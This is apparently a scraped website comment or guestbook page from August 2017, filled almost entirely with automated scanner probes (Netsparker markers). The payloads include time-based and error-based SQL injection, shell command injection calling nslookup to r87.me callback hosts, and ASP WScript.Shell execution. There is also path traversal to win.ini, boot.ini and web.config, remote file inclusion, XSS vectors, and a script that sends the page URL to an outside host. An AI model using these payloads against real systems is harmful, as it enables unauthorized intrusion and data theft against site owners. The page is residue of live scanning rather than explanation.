/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ "+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+" +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:09:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')') +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me') +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ "+createobject("WScript.Shell").exec("nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p" & "hf8.r87.me").StdOut.ReadAll+" +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ expr 268409241 - 2 +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ <%createobject("WScript.Shell").exec("nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p" & "asu.r87.me").StdOut.ReadAll%> +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq" & "olq.r87.me").StdOut.ReadAll+ +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft" & "k80.r87.me").StdOut.ReadAll +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ ping -w 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:42 AM +

+

+ createobject("WScript.Shell").exec("nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve" & "g44.r87.me").StdOut.ReadAll +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ expr 268409241 - 2; +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:40 AM +

+

+ '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}' +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ &ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ "+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+" +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ '&ping -w 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:38 AM +

+

+ '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+' +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ;expr 268409241 - 2;x +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ "&ping -w 25 127.0.0.1 &" +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

